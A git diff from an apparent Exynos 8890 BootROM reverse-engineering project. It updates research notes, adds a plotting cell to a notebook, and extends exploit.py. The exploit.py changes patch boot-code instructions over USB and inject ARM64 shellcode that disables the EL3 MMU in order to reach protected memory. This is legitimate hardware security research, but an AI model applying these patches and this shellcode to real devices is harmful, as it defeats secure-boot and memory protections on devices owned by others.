diff --git a/documentation/source/BootROM_8890/notes.rst b/documentation/source/BootROM_8890/notes.rst index 4438809..7337418 100644 --- a/documentation/source/BootROM_8890/notes.rst +++ b/documentation/source/BootROM_8890/notes.rst @@ -17,6 +17,4 @@ What is interesting about the ROM is that it starts by checking MPIDR_EL1 regist Week 35 - 2024 =============== -After booting BL31, the MMU seems to be set up, and we're unable to do get any data off of spaces we're not 'allowed' to access. Interestingly, one of the setups is at - -Patching the if-statement at 0x020244e8, and in doing so, disabling this function. \ No newline at end of file +After booting BL31, the MMU seems to be set up, and we're unable to do get any data off of spaces we're not 'allowed' to access. Patching the if-statement at 0x020244e8, disables the bit that says that the MMU is setup, but booting into recovery is possible (meaning the MMU is setup). Additionally, the memory at 0x02035600 is still not dumpable. At 0x02048000 is still accessible. \ No newline at end of file diff --git a/documentation/source/_ignore/draw_boot.ipynb b/documentation/source/_ignore/draw_boot.ipynb index 36034e9..de5391f 100644 --- a/documentation/source/_ignore/draw_boot.ipynb +++ b/documentation/source/_ignore/draw_boot.ipynb @@ -2631,6 +2631,170 @@ "# Save to html\n", "fig.write_html(\"../_static/stack_and_functions.html\")" ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Layered blocks" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": {}, + "outputs": [], + "source": [ + "import plotly.graph_objects as go\n", + "import random\n", + "\n", + "tickpointers = []\n", + "vertical_len = len(data['overlap_with'].unique())\n", + "vertical_gap_percentage = 0.08\n", + "horizontal_gap = 0.1\n", + "labels = pd.DataFrame()\n", + "\n", + "def random_color():\n", + " return f'#{random.randint(0, 0xFFFFFF):06x}'\n", + "\n", + "fig = go.Figure()\n", + "\n", + "for i, d in data.iterrows():\n", + " fillcolor = random_color()\n", + " data.at[i, 'fillcolor'] = fillcolor\n", + " \n", + " x0=1\n", + " x1=4\n", + "\n", + " if d['overlap'] == False:\n", + " y0=d['overlap_with']\n", + " y1=d['overlap_with']+1\n", + " elif d['overlap'] == True:\n", + " overlaps = data.loc[data['overlap_with'] == d['overlap_with']].shape[0]\n", + "\n", + " # Calculate relative size of the overlap\n", + " overlap_sizes = data.loc[data['overlap_with'] == d['overlap_with']].iloc[1:]['size'].sum()\n", + "\n", + " if d['overlap_with'] == i:\n", + " y0=i\n", + " y1=overlaps+i\n", + " if i != data.shape[0]+1:\n", + " if d['end'] > data.iloc[i+1].start and d['end'] < data.iloc[i+1].end:\n", + " y1=overlaps+i-0.5\n", + " x0=x0-horizontal_gap\n", + " x1=x1+horizontal_gap\n", + " else:\n", + " y0=0.02+i\n", + " y1=0.87+i\n", + " else:\n", + " print(f'Something went wrong with {d}. Skipping')\n", + " continue\n", + "\n", + " fig.add_shape(\n", + " type=\"rect\",\n", + " x0=x0,\n", + " x1=x1,\n", + " y0=y0+vertical_gap_percentage,\n", + " y1=y1-vertical_gap_percentage,\n", + " line=dict(width=2),\n", + " fillcolor=fillcolor,\n", + " opacity=0.5,\n", + " layer=\"below\",\n", + " )\n", + "\n", + " # Add middle text\n", + " fig.add_trace(go.Scatter\n", + " (\n", + " x=[(x0+x1)/2],\n", + " y=[y0+0.5],\n", + " text=d['name'],\n", + " mode=\"text\",\n", + " textposition=\"middle center\",\n", + " name=d['name'],\n", + " marker=dict(\n", + " color=fillcolor,\n", + " ),\n", + " ))\n", + "\n", + " # Add top-left text with d['end']\n", + " fig.add_trace(go.Scatter\n", + " (\n", + " x=[(x0+0.14+horizontal_gap)],\n", + " y=[y1-0.16],\n", + " text=hex(d['end']),\n", + " mode=\"text\",\n", + " textposition=\"middle center\",\n", + " marker=dict(\n", + " color=fillcolor,\n", + " ),\n", + " showlegend=False,\n", + " ))\n", + "\n", + " # Add bottom-left text with d['end']\n", + " fig.add_trace(go.Scatter\n", + " (\n", + " x=[(x0+0.14+horizontal_gap)],\n", + " y=[y0+0.14],\n", + " text=hex(d['start']),\n", + " mode=\"text\",\n", + " textposition=\"middle center\",\n", + " marker=dict(\n", + " color=fillcolor,\n", + " ),\n", + " showlegend=False,\n", + " ))\n", + "\n", + "fig.update_xaxes(\n", + " range=[0, 5],\n", + " tickvals=[0, 1, 2, 3, 4, 5],\n", + ")\n", + "\n", + "start_values = data['start'].sort_values()\n", + "end_values = data['end'].sort_values()\n", + "\n", + "labels = []\n", + "\n", + "for i, d in data.iterrows():\n", + " if i == 0:\n", + " labels.append(f'{hex(start_values.iloc[i])}')\n", + " elif i == len(data)-1:\n", + " labels.append(f'{hex(end_values.iloc[i])}')\n", + " else:\n", + " labels.append(f'{hex(start_values.iloc[i])}
{hex(end_values.iloc[i-1])}')\n", + "\n", + "tickpointers = [i for i in range(len(data))]\n", + "\n", + "fig.update_yaxes(\n", + " # tickvals=[i for i in range(len(data)+1)], \n", + " tickvals = tickpointers,\n", + " # ticktext= labels,\n", + " griddash=\"longdashdot\",\n", + " gridwidth=0,\n", + " gridcolor=\"black\",\n", + " showgrid=False,\n", + " showticklabels=True,\n", + " autorange='reversed',\n", + ")\n", + "\n", + "fig.update_xaxes(\n", + " showgrid=False,\n", + " showticklabels=False,\n", + ")\n", + "\n", + "fig.update_layout(\n", + " width=1200,\n", + " height=1200,\n", + " autosize=True,\n", + " margin=dict(l=200, r=20, t=20, b=20),\n", + " font=dict(\n", + " size=18,\n", + " ),\n", + " # Legend being the name of the function\n", + " legend_title_text=\"Function/Locations\",\n", + ")\n", + "\n", + "fig.show()" + ] } ], "metadata": { diff --git a/source/exploit/exploit.py b/source/exploit/exploit.py index 3313026..8410ea0 100644 --- a/source/exploit/exploit.py +++ b/source/exploit/exploit.py @@ -623,6 +623,19 @@ class ExynosDevice(): assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger" print(f'Jumped to {hex(address)} and back') + + def get_all_special_regs(self): + """ + Get all special registers from the device. + """ + self.cd.fetch_special_regs() + + # Get all valeus from self.cd.arch_dbg.state + + + self.cd.arch_dbg.state.print_ctx() + pass + def debugger_boot(self): """ @@ -742,15 +755,13 @@ class ExynosDevice(): TTBR0_EL3 = 0x02035600 # Zeroed out # Modifies/disables setting up MMU (but is set up eventually) -> MMU says 0x0 instead of 0x1, but still little access (and proper USB recovyer boot!?) - # self.cd.memwrite_region(0x020244e8, struct.pack('>I', 0x1f0c00f1)) # Change check to always false - - # Overwrite jump back at 0202f810 - # self.cd.memwrite_region(0x020242a8, struct.pack('>I', 0x568f0094)) # Last succesful jump back to debugger, while still having access to 0x02035600 - # self.cd.memwrite_region(0x02032008, struct.pack('>I', 0x1f2003d5)) # Overwrite MAIR to NOP - # self.cd.memwrite_region(0x0203203c, struct.pack('>I', 0xf1570094)) # Return to debugger. (not working, it continues booting..) + # self.cd.memwrite_region(0x0202ee74, struct.pack('>I', 0x63650094)) # Return to debugger. (not working, it continues booting..) - # self.cd.memwrite_region(0x0203200c, struct.pack('>I', 0xfd570094)) # -> X1=0x18800, X30=0x20241a0. Device crashes when writing here. + # self.cd.memwrite_region(0x0202eb74, struct.pack('>I', 0x1f2003d5)) # Change check to always false + + # Jump back to debugger, after TTBR0 is no longer accessible + self.cd.memwrite_region(0x020308a4, struct.pack('>I', 0xd75d0014)) # Change check to always false # Jump into BL31 and execute it self.cd.restore_stack_and_jump(0x02024010) @@ -759,13 +770,46 @@ class ExynosDevice(): time.sleep(2) self.connect_device() self.usb_read(0x200) # GiAs + BL31_ra = self.cd.arch_dbg.state.LR + + self.cd.arch_dbg.fetch_special_regs() + print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)') # self.cd.arch_dbg.fetch_special_regs() # -> Does not work with original debugger (??). Only with relocated debugger. VBAR_EL3 = self.cd.arch_dbg.state.VBAR_EL3 + # Disable MMU and branch to 0x02048000 + shellcode=f""" + mrs x0, sctlr_el3 + bic x0, x0, #1 + msr sctlr_el3, x0 + ldr x0, =0x2048000 + br x0 + """ + shellcode = ks.asm(shellcode, as_bytes=True)[0] + self.cd.memwrite_region(0x02060000, shellcode) + self.cd.jump_to(0x02060000) + time.sleep(1) + self.usb_read(0x200) # GiAs + self.cd.arch_dbg.fetch_special_regs() + # Print status of MMU print(f'MMU is {hex(self.cd.arch_dbg.state.R_SCTLR_EL3.mmu)} (0x1=enabled, 0x0=disabled)') - BL31_ra = self.cd.arch_dbg.state.LR + + # # Change the values of MAIR_EL3 to a different value + # shellcode=f""" + # mov x0, #0x000000ff + # msr mair_el3, x0 + # ldr x0, =0x2048000 + # br x0 + # """ + # shellcode = ks.asm(shellcode, as_bytes=True)[0] + # self.cd.memwrite_region(0x02060000, shellcode) + # self.cd.jump_to(0x02060000) + # time.sleep(1) + # self.usb_read(0x200) # GiAs + # self.cd.arch_dbg.fetch_special_regs() + # print(self.cd.arch_dbg.state.R_MAIR_EL3) # Again restore bootflow self.cd.memwrite_region(0x020200dc, p32(hijacked_fun)) diff --git a/source/ghidra-transfer/8890_bootrom_bl31_bl2.bin.gzf b/source/ghidra-transfer/8890_bootrom_bl31_bl2.bin.gzf new file mode 100644 index 0000000..b54c5a3 Binary files /dev/null and b/source/ghidra-transfer/8890_bootrom_bl31_bl2.bin.gzf differ